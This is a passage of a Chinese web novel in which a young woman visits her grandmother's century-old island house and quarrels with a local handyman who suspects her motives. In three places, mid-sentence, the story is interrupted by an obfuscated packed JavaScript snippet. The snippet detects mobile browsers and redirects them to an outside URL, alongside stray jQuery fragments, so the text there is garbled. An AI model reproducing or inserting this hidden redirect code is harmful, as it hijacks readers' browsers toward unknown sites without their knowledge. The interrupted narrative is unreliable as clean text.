陈歆韵懂了他的意思。看来这个男人在岛上有点本事,和民宿老板交情匪浅,所以老板坚决不会要他和他朋友付钱。自己硬要给的话,反倒让他们生分了。 既然如此她没有坚持,金翊帮她把行李箱拎了下来,顺手把那个包包递给她:“你的包。” 陈歆韵把行李箱打开,把包包里的东西一股脑地倒进去后,又把它丢回车里:“说了把包抵给你,你帮我解决那群无赖。这包划了一点痕,挂二手也能卖个一万。你赔了多少钱?超过一万的话,我……”她停了下,用手揪了下裙角,低声说:“我给你写个欠条。” 金翊看着她这幅鹌鹑模样,没忍住笑了:“你这个妹妹崽真有意思,一会儿爱钱,一会儿又不爱的。搞不懂。” 他又说:“没有一万呢,还是我赚了,你不欠我的,好了进去吧。” 陈歆韵“哦”了一声,提着行李箱朝民宿里走。到了门口,她停下来,手指绕着裙角打了好几个圈,然后转身,有点扭捏地对金翊微微鞠了一个躬:“谢谢你。” 金翊欣然接受下她别扭的谢意,没忍住指了指自己的手臂跟她说:“钱都是身外物,年轻人还是惜命一点。” 陈歆韵看着刚才被他用绷带简易包扎的手臂,笑了起来,眉眼间又恢复了今天刚来时的明媚神态:“知道了,大叔。”她又指了指自己胸口:“中年人也是,别被冻着了。” 说完她转身推门进了民宿,留下金翊在原地目瞪口呆。 一向自信大方的金老板第一次对自己产生质疑,他身材样貌样样拿得出手,三十不到,不至于被她以为是身体不行的中年人吧? * 民宿老板对陈歆韵很热情,即使看起来比她大几岁还是“韵姐”“韵姐”的叫个不停,眼神在她和金翊身上来回游动。 陈歆韵没好意思,连忙制止了她,她转头又亲热地喊起“韵韵”。 她用手肘着金翊:“翊哥铁树开花啊。”又冲陈歆韵挤眉弄眼:“翊哥在我们岛上可是有名的俊后生!” 把两个人搞得很是尴尬,黄毛架着她:“林姐, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17129753|196212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 饿死了,快去看看饭熟了没。” 陈歆韵身心疲惫到了极点,完全没有用餐的心思,找了个借口就回房间洗澡睡觉了。 她洗完澡出来,看到房间桌上摆着精致丰盛的一人餐,饮料、甜点一应俱全,旁边还有药水、纱布。膏药、香薰、蒸汽眼罩、电动按摩仪也一应俱全。 她拿起纸条:韵韵,你好漂亮啊!老板电话:xxxxxxx,不许客气,有什么需要随叫随到哈[爱心]。 服务实在太周到了。 陈歆韵看着纸条甜甜地笑起来,她能感觉到老板对她这么热情除了金翊的原因外,还因为真的喜欢她。 突然,爸爸和何成的话在脑海里闪现,人家对她这么好,她总该回报点什么吧。 她马上把纸张放下,像丢掉烫手的山芋,有点烦躁,钻进被子里,蒙住脸,深深地睡着了。 * “何日君再来”民宿餐厅。 金翊一行人和老板一家子围着吃晚餐。本就是很久没聚,还刚送出国一个,人也不全,三两杯下肚,众人情绪上来了,不免互相说些陈年往事,揭童年黑历史。 金翊转着酒杯分神,被林茹逮到了:“翊哥,这么想就去关心下人家呗。很好开口的,问问腿痛不痛啊,今天是不是吓到啦,床舒不舒服啊,怎么关心怎么来,要让人家觉得自己被在乎。” 金翊摇摇头笑了:“你这个叫性缘脑,都说了只是顺路搭伴。” 黄毛开口先“切”了一声:“省省吧,人家娇生惯养长大的,缺这么两句关心吗。现在去敲她房门,说不定以为我们图谋不轨呢。” 林茹翻了个白眼:“威龙,至于跟人家置气吗?多漂亮一个姑娘啊。” 黄威龙翻了一个比她更大的白眼:“你是没看到咧,阿金帮她,她非但不领情还拎个破包要我们赔钱。后来她给不出那个包的发票,就说用包抵债,让我们帮她摆平那些无赖。真精啊,要被火车站口那群无赖缠上了,用钱都不一定能消灾。” 金翊把杯里的酒喝下去:“是我把她推到的,弄伤了她,解决方案也是我给出的。” 黄威龙叹口气:“那也是啦。”不过他还是不服:“不过我没见过社会化程度这么低的人。我们主动帮她,载她走高速,还免费安排住宿,她也不说跟我们吃顿饭。” 金翊又给自己倒了杯酒:“她才二十出头,大学都没毕业,还没进过社会,你要求那么高干嘛。” 黄威龙:“我们二十那会儿至少都会说场面话了吧,你看她是怎么说话的。” 金翊喝了口酒:“那是我们的成长环境导致的。在岛上八岁小孩都会见鬼说鬼话,你不能脱离出身的讲个性吧,现在这年代,真实才难得呢。” “谁喜欢这种真实,净会给人添麻烦。还有你干嘛老跟我唱反调?” 金翊撇撇嘴:“我只是帮理不帮亲。” “噗嗤。” 针锋相对的两人同时看向林茹:“你笑什么?” 林茹把酒给他俩满上:“哎,没什么,就是觉得这姑娘厉害,认识不到四小时能让我们岛上两个大帅哥为她吵起来,是吧,翊哥?” 金翊没回她个不正经的,把酒杯拿起来:“友好交流怎么能叫吵。” 林茹又说:“翊哥,你不是年初就戒酒了?我们夫妻过年敬你都不喝。” 金翊听着这话,看了眼在嘴边的酒杯,抬头发现一屋子人都在看着他,默默把酒杯放了下来,杯口的酒珠顺着杯壁洇进他的指纹里。 5. 南方绿岛 陈歆韵历经一路坎坷,终于拖着她的小行李箱上了轮渡。 甲板上熙熙攘攘,她挤到了船头,朝阳大的让人睁不开眼睛,海风把她头发吹得乱乱的。 那个男人在临行前又把她归还的外套丢给了她。不和谐的深蓝色外套一直盖到她的大腿。 “这里是整个中国最早看见日出的地方之一,”他指了指自己古铜色的皮肤:“如果不想变成我这样,就穿上。” 他坐在货车里,高高的,陈歆韵只能看见他线条流畅的脖颈。 她道了声谢,往车里丢了个在米兰古着店买的小天使雕塑,200欧,她衡量了下,差不多可以付清衣服钱和住宿钱。 好像不小心丢到了黄毛,他在车里大骂了一声,陈歆韵吐吐舌头,反正也不再见了。她悄悄转过身走掉后,两拨人分道扬镳。 轮渡是旧的,柴油味和海潮腥从甲板缝隙里钻出来,让外套上原本就淡的烟火香完全消散了,连带着男人的脸在她脑中也很快模糊不见了。 陈歆韵站在风头,看着数不尽的海鸟与鱼盘旋在天空和大海间,她孤单单拎着个行李箱,真有点天地阔大,何处是家的怆然感淹过鼻子。 比汽笛声先到来的,是渡口的喧嚣声。 正赶上早市,菜市场拢在薄雾里,晨光穿透,把岛上穿梭的人都镀上毛茸茸的金光,码头两边左右两具石狮子迎风张牙舞爪。 下了船依旧有很多人围着陈歆韵揽客,几乎都是导游和民宿店家,她照例没给眼色,带着黑墨镜,昂首挺胸向前走。 墨镜下的丹凤眼却在四处打着转。这座岛屿与印象中的灰败乡下大相径庭。 除了码头菜市场地上潮湿外,其他路面都平整干净,房屋俨然,放眼望去有好几家市里常见的连锁餐饮店。 几座寺庙穿插在烟火街巷里,十字架又在教堂顶上招展,很有闽南宗教多元化的特色。 外婆住在岛北的厝村里,靠近山,距离镇上车程15分钟左右。 那里也靠近旅游打卡点,陈歆韵拒绝了两个来搭讪的游客,自己打了辆车过去。 厝村巷口狭小,到了村口只能步行了。她从车上下来,面前是一副很大的釉面瓷砖墙。 上面画着两个男孩女孩,写着“生男生女一样好,手心手背都是宝”的标语。颇有上个世纪的格调。 红砖古厝,翘角飞檐,四面是浪头拍岸的沉沉声,海岛的岁月好像在这里停止了流动。她拉着行李箱一会儿提一会儿搬,七拐八拐后,终于顺着手机里的手绘地图找到了一间大厝。 这儿的房屋大多是上个世纪的造物,比较混乱,外婆干脆给她发了张手绘地图,让她自己找。外婆大部分时间都不接电话,接了语言也不是很通,她这一路相当于是自己冒险找宫殿。 一座大厝前,有个阿婆坐在门槛上择菜,手边的竹篮里卧着海蛎、蛏子。 陈歆韵给外婆打了个视频电话。 大厝前一阵巨大的铃音响起。那个头发花白的阿婆把菜盆放下,扶着腰起来,慢悠悠走到大门另一边角落,在一地装着菜的塑料袋里掏出一个卷成几捆的红色袋子,不慌不忙地把袋子翻开。 铃声戛然而止,她也不管了,把塑料袋一丢,回去继续择菜。 “外婆!” 陈歆韵朝门槛前的阿婆大喊一声。 阿婆抬起眼,眯了眯,她眼皮干涸,像被海风揉皱多年的旧信。 外婆有点看不清:“阿韵?” 陈歆韵把行李丢下来,一个箭步跑上去扑在外婆怀里,外婆就穿着件薄薄的花衣裳,她手臂一收紧,骨头就和外婆的骨头打撞。她不禁眼眶有些发酸,手下轻了些。 她在四岁前都是和外婆住在这的,那阵子她爸妈去海市打拼,留下她在外婆这儿。爸妈把她接去海市后,外婆没有跟着一起来,说是不习惯大城市,她小时候还为此生过外婆的气。 外婆不喜欢爸爸,但是陈梦琴记挂她,每年都会回来看外婆,她在上初中之前也会随妈妈一起回来,后来大了些忙着学业和实习,她见爸妈的次数都少了很多,更别提外婆了。 外婆不用微信这些,还是她要来才临时注册了个,跟她加上了好友。 没见面之前还好,再见到外婆这岁月雕剐后的脸庞,她心里生出无限眷恋,忍不住在外婆怀里腻歪了会儿。 穿过大门和正厅,是天井,几盆水仙开的极清丽,几个晒网一一排开,晒着排排萝卜、各种海鲜干货和金闪闪的肉松。 她小时候最爱吃外婆做的肉松,外婆知道她要来,晒了足足两大罐。 门内有一大堆零食,饮料,水果,她吃两个月都吃不完。老人就是这样,孩子还没到家,各种干货,零食就已经买了满满的。 她念念叨叨:“我外孙女来,买的。” 其实是我外孙女要来,我给她买的。 “外婆,这些都是你去镇上买的吗?” 外婆的口音有点重:“是啊,阿king啊,阿king带我去买啊。” 陈歆韵有点懵:“阿……king?”外婆对这个king评价很高,说起他打开了话匣子,翻来覆去说他好,king经常来看外婆,家里的菜园,花圃,水管电线,屋顶瓦片什么的都是这个king负责维护的。 “那外婆,阿king是谁啊?干嘛的?” 外婆领着她往房间走:“阿king就是阿king啊。什么都干的嘛。” 陈歆韵点点头,心里有了划分:好心的不务正业混子。 外婆推开一扇门:“你的房间。” 看清房间里的布局,陈歆韵长大了嘴:“外婆这……” 房间的墙面漆皮都剥落了,地上有几罐白油漆,还有一些装修工具,和几根木板,像是还没翻新完成的卧室。 外婆解释说:“你以后住这里,先跟我住。” 外婆这间厝已经有一百多年的历史了,天井两旁有东西厢房,外婆给她翻修的是东厢房。 只是她也是刚确定住三个月的,之前沟通的是住几天,外婆却早早动工翻修房间了。 她有点不忍跟外婆说,她迟早要走,不必这么大动干戈,但对上外婆始终笑吟吟却皱纹满面的脸又咽了下去。 外婆给她在天井旁支了个小矮凳,她帮外婆择菜,择完又洗完了菜,还是没看见有人来装修房子,于是她问:“外婆,工人什么时候来呀?” 外婆在收肉松:“不知道啊,他有空来啊。” 居然还有如此嚣张的工人,给钱不办事,还搪塞雇主,外婆人善良,八成是被欺负了。 “外婆,等他来装修的房子的时候我说说他,人品真差。” 金翊刚踏进古厝就被人莫名其妙地劈头骂了一顿,他有点好笑,轻轻屈起指节,轻轻敲了敲房门。 陈歆韵听到动静,猛地转头,红发像一束热烈的玫瑰花绽放在天井旁,她举着一双滴水的手懵在原地,手上还沾着菜叶。 面前的人身材高大,臂膀宽阔,肩上还扛着一根原木,碗口一样粗的结实手臂托着木头,整个人杵在大厝门前,活像来讨债的。 外婆张开手指又拢了一把肉松,朝门外喊:“阿king阿king,你看,我囡仔,”她语气活泼,满溢着欢快,她伸手指着陈歆韵:“我一直跟你说的啊,好厉害,和你一样在外国读书的。” 陈歆韵反应过来,king就是金的发音,给她翻修房间的这个工人,就是阿金。而且,按照他和阿婆的关系,应该是免费的。 金翊的眉眼挑了,好像没想到她就是阿嬷的外孙女,表情变得有些微妙,他朝陈歆韵轻轻颔首,算是打招呼,然后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17129754|196212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把木头在东厢房门外放下。 “跟你说了等我来做,老婆子这么心急。怕我偷吃啊。”他笑得开怀,朝外婆开玩笑似的说着,然后把她扶到凳子上坐下,开始收鱼干和海货。 那动作自然而然,倒像他才是外婆的亲外孙似的。 金翊昨晚帮了她大忙,陈歆韵对他印象还不错,本着邻里友善的原则,她主动找金翊搭了两句话,没想到他居然变得爱搭不理。 陈歆韵甩甩水珠,擦干手,坐在了外婆旁边,翘起二郎腿吃零食,也当他不存在,反正有人乐意干活。 她用舌头转了一圈梅子干,隐约觉得,金翊在知道她是外婆的孙女后,态度才来了个三百六十度的大转弯,她明显感受到一种恶意。 一种不欢迎她到来的微妙恶意。 金翊给老房子装了燃气灶台,可是阮丽贤坚持用柴火烧饭,她说这样烧出来的饭菜好吃,陈歆韵肯定很喜欢,任凭两个人怎么劝都没有用。 不过柴火烧出来的饭菜的确有一种自然的香味,海鲜嫩滑,葱花清甜,她破天荒地吃了两碗饭。 整个下午,陈歆韵在天井的矮凳上,仰面朝天,舒展四肢,看云卷云舒,看鸟儿缠绵,脑子完全不想动,不想思考任何破事。 “咯吱咯吱……” 呆滞的双眼向右转向,一阵锯木头的声音慢悠悠地晃动。对了,金翊还在这里翻修房子,装了好两个小时,除了中午喝了点汤,到现在也没喝水。 她扒着门框探出一点脑袋去看。 房间比起她早上看到的区别是地板更乱了,多了很多木屑。墙壁还是漆皮凋敝,整个房间一片破败景象。 金翊背对着她,一双大皮鞋踩在板凳上,为了方便工作,他穿了件黑色背心,古铜色的背脊随着他前仆后仰的动作起伏。他左边有很多削了皮的木头,右边是没有削皮的原木,地上有一堆木屑,金翊一个下午就是在这玩削皮游戏? “那个,你一个下午就,”她用手指在空中画了一个圈,“就干了这些。” 金翊闻言转过头,嘴里叼着支烟,看到陈歆韵肃然皱起的眉头,有点好笑地用手夹住烟拿下:“没点,我人品不行,基本素质还是有的,不在别人房间抽烟。” 他又把烟放嘴里:“来了刚好,把这些,”他用脚把木屑赶出来:“全扫了。” 陈歆韵眼睛都瞪大了:“直接去家具城买柜子不就好了,有必要自己削木板吗?” 金翊转回身,继续削木头:“就像阿嬷说的,自己做的才是最好的。” 陈歆韵翻了个白眼,他有本事不买住房,自己抗袋水泥从地基开始建房子,那样才够原汁原味。 “照你这个做法,我什么时候才可以住上?” 金翊削到一半,突然停住了,他转过来,一步步朝陈歆韵走过去,他的眼睛深刻而上扬,配合棱角锋利的五官看起来有点可怕,上一次他用这样的眼神是看着无赖,为了给她出头。 陈歆韵是个犟种,她不再像个小偷一样趴在门框上,挺直了胸膛一步也不退后,直到金翊在她面前站定,她才发现自己才到人家脖子下面。她直视的话,可以看到背心下灼热起伏的胸膛,干什么?企图用胸埋死她吗? 金翊居高临下看着她:“其他房间都烂的要死,我就这个速度,住不下去就走啊。” 她呵呵两声:“这是我外婆的家,你赶哪门子客?有毛病。” 金翊弯下腰凝视着她,像是想在她脸上看出个洞。 “干什么??” “看你脸皮怎么那么厚,比你妈还厚,还能演。” 说她就算了,还无缘无故扯上她妈,陈歆韵抬手就往眼前挥,不出意外被另一只大手抓住了。 金翊搂着她手腕,拳头中空,没用力:“这么喜欢扇人巴掌,嘴巴不会说话吗?” 6. 明黄小车 陈歆韵的眼睛圆而上扬,透明的眼珠像隐翅蛾的薄翼,目光淬满了毒:“看在你帮过我和外婆的份上,我就当没听到,别骂我妈。” “哟,还是个孝顺的好女儿,陈梦琴把她妈妈丢在这个岛不闻不问那么多年,知道她女儿这么孝顺吗?” 陈歆韵咬了下下唇,她完全不想跟一个外人说太多家事,不过金翊对外婆的关心不是假的,她憋了一会儿,还是叹了口气说:“因为亲朋好友都在岛上,外婆才不愿意去跟妈妈生活的,我妈她每年都会来看外婆。外人少对我家事指手画脚。” 出乎意料,金翊笑了起来:“那你呢,好囡仔,要来了才加外婆微信,怎么?家里管那么严,是最近才买手机啊。” 陈歆韵想到了什么:“那个地图是你画?” “昂。” 陈歆韵被他一下下的质问本能就想解释:“外婆不会玩手机,微信也是才注册的,之前都没有,我也只能打电话。”她说着说着,自己慢慢没有底气,按照金翊对外婆的关照程度,怎么会不帮她注册微信。 “你们关系好的那么快啊。”外婆端着盘荔枝出现在门口,两人装了弹簧一样都迅速后退。 金翊已经换上了笑盈盈的和煦脸庞:“阿嬷,我们在说房间要怎么设计。” “好啊,阿韵,你要什么样的尽管说,最重要的是你要喜欢。”外婆边对她笑,边用签子戳了个荔枝往她嘴里送,荔枝已经处理好了,晶莹饱满,一口下去,沁甜的汁水弥散在舌尖。 金翊抬手抹了抹额头的汗,眯起眼看向这对亲昵情深的祖孙,阿嬷笑起来,皱纹淹没了她总是愁苦的眼睛。陈歆韵嘴里被塞了一个又一个荔枝,不大的嘴唇有些兜不下,她很尽力在嚼,汁水淌到了下巴,在阿嬷递过下一个时还是张开了嘴。 金翊的眼神晦暗不清,张开嘴后又闭上,他还是没说什么,转身去继续削木头了。 金翊走后,外婆也出了门,她压矮了本就佝偻的身子,在自己家里却像做贼一样左右张望才出门。 陈歆韵想了下,跑去二楼阳台看他们。只见两人在围墙背面拉拉扯扯,金翊说着什么,外婆连连摇头,而后又一改慈祥,表情强势地回他。 两人你来我往,声音微弱,陈歆韵完全没听到说什么,只见最后,外婆从怀里掏出一个长方形的东西,像一张纸,交给了金翊。 外婆有秘密瞒着她,但是却对金翊很信任,她有点不是滋味。 晚上,陈歆韵翻来覆去睡不着。等到外婆上床后,她扑到外婆怀里,深深地吸了一口气,被子乱七八糟地裹着二人,古厝隔音不好,夜蝉的声音不时划过,她却觉得很窝心。 外婆给她拉好翻起来的衣服,把被子盖到她肚脐上:“哎呀,你还没睡啊。” 她黏黏糊糊地说:“我等外婆睡。” 古厝的灯是老式吊灯,陈歆韵准备起身去关掉,外婆拉住她,掀开枕头,后面有个开关,一按,灯就关了。 “外婆,你这里还挺高科技啊。” 外婆摸着她的头:“阿金给弄的。喏。”她又按了旁边的开关,一个微弱的床头灯亮起来。 “嗯。外婆。” “怎么了,想说什么呢?”外婆在灯光下展开了一件陈旧的花衬衫,上面有个洞。 陈歆韵没说话,她就慢慢地,轻轻地纳衣服。 “你的微信是金翊帮你注册的吗?什么时候注册的啊?” 阮丽贤手下的动作不变:“注册什么?” “微信啊,你给我发地图那个软件。” 外婆在微弱灯光下的身影很温暖:“哎呦,我哪里懂什么猪厕狗厕,我都看不懂那些字,梦琴老叫我用,我都不搞,要不是阿金说可以看见你,我才不打开。” 末了,她跟个老小孩似的“哼”了一声, 陈歆韵盖着薄被,揪着的心舒展开来,妈妈根本不像金翊说的那样不关心外婆。 灯火昏昏,她迷迷糊糊中说着:“这样啊。”,随后眼皮慢慢合上,睡着了。 缝完后,阮丽贤用针尖一挑,线居然没有被隐藏起来。刚才缝着缝着,也不知什么时候换了针法,明明缝了埋针法五十多年,还会犯这种错,真是老糊涂了,她抬眼看陈歆韵恬静的睡颜,慈祥地笑了。 * 浔尾岛由三个岛屿组成,主岛中西部是商业街,东南北是主要住宅区。另外两个离岛零星散落几户人家。 小镇商户种类齐全,商业开发有限,虽不落阔,但胜在生活气息十足,隔几家门店或者巷子外,都有人躺在摇椅上晒太阳。 石笔木长着毛茸茸的肚子,开得鲜艳,没上学的娃娃,穿着鲜艳的衣服,在巷子口跳格子。 陈歆韵进进出出几家女装店,还是没找着件喜欢的外套。 金翊说的不错,岛上太阳辐射很大,光靠防晒霜铁定会被晒黑十个度的。金翊昨天对她的态度不友善,她也不想舔着脸去穿他给的外套。 她挑着件有腰际线的防晒服问:“老板,这件有白色的吗?” 老板脸上盖着张海报,在店门口摇椅上吱吱呀呀晃着,完全没有接待顾客的意思。 他闻言把报纸拿下来,灰色的眼睛让陈歆韵吃了一惊,店主居然是个穿着汗衫,大肚便便的白人。 老板指着地上一堆塑料袋,挂着浓重当地口音:“那一堆里翻,有就有,没有就没有。”说完,又躺了回去晒太阳。 “阿发,你这么做生意,迟早关门。” 高大的身影堵在门口,把老板的阳光都挡没了。 老板闭着眼皮悍然不动。 金翊也没有挪开的意思:“给人家美女挑一个啊,我们岛今年要评选市里十佳旅游胜地呢,不展现我们岛民热情好客,人家回去给我们打差评。” 老板啧了一声站起来,上下打量了下陈歆韵的身形,咚咚咚走到一堆衣服里乱扒拉,找了件白色衣服给她一比,然后迅速把衣服塞她怀里。 她刚要问多少钱就被老板推着出店门。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17129755|196212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 金翊漫不经心地问:“阿发,你不要钱啊?” 老板表情不耐烦地挥挥手:“我们岛民热情好客,要什么钱,走走走,我要去钓鱼了。” “砰——”两人被锁在了门外。 “额……”陈歆韵抱着白衣服,有点状况外:“那我把钱给你?” “我又不是店主,你等他回来给吧。” “那他什么时候回来?” “不知道,十天半个月吧。” “你唬我呢?” “最近岛上丰渔期赶上钓鱼比赛,他要能得奖,这间店都能送你。”金翊还是穿着黑色背心,下面是笔直修长的工装裤,正插着兜往巷子外面走。 陈歆韵把塑料袋拆开丟进垃圾桶,准备去商业街打车。 “喂,大小姐,还不上来?” 陈歆韵顺着声音看去,表情有点难以言说。 金翊跨坐在辆边三轮踏板电车上,电车装修得很有岛屿情调,外漆是明黄色的,上面印了可达鸭,边上还围了一圈花,侧车圈口也沾着一圈花,但让她有点坐不下去的是侧车前部装着的小飞机,风一吹,还在打转,十分弱智。 一个肌肉结实的大汉子坐在这种车上,她还以为自己视觉失调。 “坐这个车你不觉得很丢脸吗?” “不觉得。” “你有那么好心?” “没有。可是阿嬷怕她二十岁还不能自理的大小姐迷路,叫我一定要载你出现在她眼前。你可以自己走回去,临到村口,再坐我车。” 陈歆韵还是坐上了小飞机座。金翊开的很稳,速度虽慢,两人还是都戴了头盔。 陈歆韵中途下了两次车,买了罐死贵的老人奶粉,一双足力健还有一个刻度异常大的手表。 她昨天看到外婆手表的履带间污黑,表壳灰蒙蒙的,她对了几次灯光也没有看清,问她要不要新表,她只是一味地:“不要不要,我这个表好得很。” 既然如此,问了一千遍她要不要,还不如直接送到她手上。 看着她抱着足力健和手表缩在侧车里,金翊道:“哟,是不是被自己的孝心感动到了?” 陈歆韵反问他:“你不去卖鱼吗?一天天闲的,怎么哪都有你?” 金翊施施然道:“在这座岛上任何地方出现也是本人的工作之一。” 陈歆韵翻了个白眼,低着头自言自语:“混子就混子呗。” “那件衣服坏了不能穿吗?” 陈歆韵知道他说的是哪件。 “太丑了,不知道怎么会被人看上的,丢给旺财当狗窝垫了。” “哦,正好之前也是用来给招福保暖的。” 陈歆韵抬头看他:“招福是谁? 正好到了家门前,金翊把车停下。 一阵粘腻腥臭的触感突然贴在脸上,陈歆韵吓了一大跳,她转回脸,一只半拉眼皮的羊对着他们这嗅来嗅去。 金翊揉揉它半死不活的脸:“招福好乖哦。” 7. 橘色岛礁 第二天一早,陈歆韵被一阵若有若无的号声惊醒,她迷迷糊糊爬起来,打了个激灵,也没仔细看,随手扯了件外套披上。 顺着声音走出后门,天光渐起,海天交接处有明晃晃的万丈晨光,把面前的海波和岛礁都照成一片橘色。 不远处的岛礁上有几个朦胧的黑色影子窜动,背着光,看不清。陈歆韵跑上更高的山顶,对了几次焦,终于看清立着的那个笔挺身影。 又是金翊,他穿着件迷彩工装,下身是熨帖的军绿色长裤和皮靴。陈歆韵真是服了他了,就跟这岛的NPC似的,哪都能刷新出来,她看了眼手表,5点36,他们这么早来抓鱼吗? 那几个人在岛礁上围着根长长的杆子捣鼓了几下,陈歆韵发觉好像和想的不一样。 随着国歌响起,金翊把旗帜扬向正对着大海的方向,一面红旗缓缓升起,海风猎猎,吹得旗面舒展,也吹得他衣襟鼓荡。他的动作一丝不苟,带着仪式的庄重,和印象里吊儿郎当的模样判若两人。 他们居然是在举行升旗仪式。 还有几个人围着旗杆敬礼,每个人都站姿笔挺,嘹亮国歌回荡在橘黄的岛屿之间,伴奏是万千只海鸥的啼鸣。 仪式结束后,陈歆韵收回目光,活动了刚刚行注目礼时僵硬的身体,又在山崖上看了会儿,金翊似乎若有所感,抬眼朝山崖这边望来。 隔得远,看不清表情,但陈歆韵就是莫名觉得金翊看见她了。 她下意识别过脸,又觉得没必要,索性把背挺直杵在山顶上,抬手捋了捋吹乱的红发。 金翊在岛礁上顿了下,随后被同行人催促,便迈开长腿,踩着嶙峋的礁石回到快艇上。 陈歆韵回古厝换了身鹅黄色的连衣裙,随意扎了个高马尾,蹲在天井边刷牙,抬眼见金翊进来,嘴里含着泡沫朝水槽“呸”了一声,把泡沫吐掉。“呸”完人以后也没理他。 金翊目光落在她身上,那件本该在狗窝的外套松松垮垮罩在她裙子外头,因为蹲下的动作,下摆扫到了地上。他嘴角扯了个弧度,贱兮兮的:“呦,大小姐还跟狗抢衣服啊。” 陈歆韵顺着他的目光才注意到外套,她漱完口,拿毛巾擦了擦嘴角的泡沫:“冷。借穿一下不行?狗都没意见,要不你问它要回去?” “行,怎么不行。” 金翊走到她旁边,突然诡异地从工装裤里掏出个扳手,卡着水槽上的水龙头拧了下,水还是在滴,他又从工装裤里掏出其他工具,跟哆啦金梦似的,然后把水龙头拆了。 陈歆韵蹲在那看他修水龙头。金翊是个粗人,指头却修长灵巧,他三两下拆了水龙头,翻过来看看出了什么问题。 “你们每天都会升国旗吗?” “对,但升旗仪式是一周一次。” “海疆上升旗不是海军负责的吗?” “军队负责的升旗地点更远,岛上的由村民自己负责。” “哦,那你从什么时候开始负责的?” 金翊把扳手咬在嘴里,在工装裤里摸了摸,居然摸出个崭新的水龙头,然后在陈歆韵难以置信的目光中接在水管上,又用扳手拧紧。 “记事的时候吧,毕竟也不是什么容易活,大部分人刚开始都干劲十足,早起几个星期后就不来了。” 陈歆韵点点头:“你还算个有毅力的人。” “其实我也有私心,这也算是个精神寄托吧。” 一个五大三粗的汉子忽然感性起来,颇有点渔市里的诗人那感觉,陈歆韵有点好奇:“属于什么精神寄托?” 金翊修理完水龙头,确认了下它没再滴水,顺手掏根烟叼着,没有点,和陈歆韵面对面蹲在天井旁。 他眼睛眯着,表情有点冷寂:“留在这里。” 陈歆韵:“嗯?” “浔尾和泉州一样,有上千年历史,但小岛无大事,日子也一层不变。要说有什么特色,就是海啊,云啊的。看多了也腻了,年轻人很难呆的下去,所以,”他突然话锋一转,看向陈歆韵,认真询问:“你到底什么时候走啊?” 陈歆韵:??为什么突然扯到她身上?好像要赶她走似的。啧,这人有毛病,哪是什么诗人,就是死人一个。 “要你管。”陈歆韵把毛巾甩在架子上,转身就往屋里走。 阮丽贤正在灶台边盛粥,见他们来,脸上的皱纹都笑开了:“正好,我煮了地瓜粥,快来吃。” 三人围坐在老旧的八仙桌前喝粥。粥熬得稠稠的,地瓜金黄软糯,米香混着地瓜甜,暖烘烘地贴着胃。 陈歆韵小口吃着,余光瞥见金翊,他吃饭大开大合,一碗粥三五下就见了底,又自己去添了一碗。 外婆看着他,眼里是藏不住的慈爱和喜欢,给陈歆韵夹了一筷子肉松,就要给他夹一筷子鱼干。 陈歆韵戳着粥,心里有点酸酸的,好像金翊才是这个家的常客,而她是个来做客的外人。不过好像的确是这样。 吃完早饭,金翊帮着收拾了碗筷。阮丽贤去了隔壁阿婆家串门,院子里就剩下他们两个。 气氛莫名有些凝滞,穿堂风掠过天井,吹得那几盆水仙的叶子簌簌轻响。 “喂,”金翊忽然开口,“出去走走?带你认认路。” 陈歆韵已经换上了昨天那件白色外套,她心里有些预感,金翊这趟路不是单纯的带她走走,不过她完全没在怕的,就看他有什么屁要放,她挑了挑眉:“行。” 两人出了古厝,沿着砖石铺就的巷道一前一后慢慢走。 金翊说带她认路的话不假,他的确带她把村子里几条路都走了遍,一些泥泞小路,虽然不进去,也一一指给她看。 晨时的厝村很安静,偶尔有早起的老人坐在门槛上抽烟,看见金翊都笑着点头打招呼,目光扫过陈歆韵时,带着点好奇的打量。 两人最后绕到了村口,村口那面釉面瓷砖墙旁边有个半人高的石碑,陈歆韵凑过去看,石碑上刻着字,上面记载着厝村的来历。 这片房屋始建于清光绪年间,保存最完好的几座大厝都有百年以上历史,其中包括外婆住的那一座,是出砖入石结构的典型闽南古宅,有较高保护价值。 她以前只知道外婆家房子旧,却从没想过它有这么久的历史。她眼睛眨了眨,有点好奇和兴奋:“这种房子现在该很贵吧。” “你不是清楚市价才来的吗?”金翊的声音从头顶传来,听着有点阴阳怪气。 陈歆韵直起身,语气也冷了下来:“你什么意思?” 她忽然想到金翊对她外孙女身份的不悦、外婆和他的拉扯,有点难以置信:“你觉得我回来是来要房子的?” 金翊靠着石碑,目光落在远处海面上,没看她的眼睛:“总不能是突然良心发现,回来尽孝的吧。” 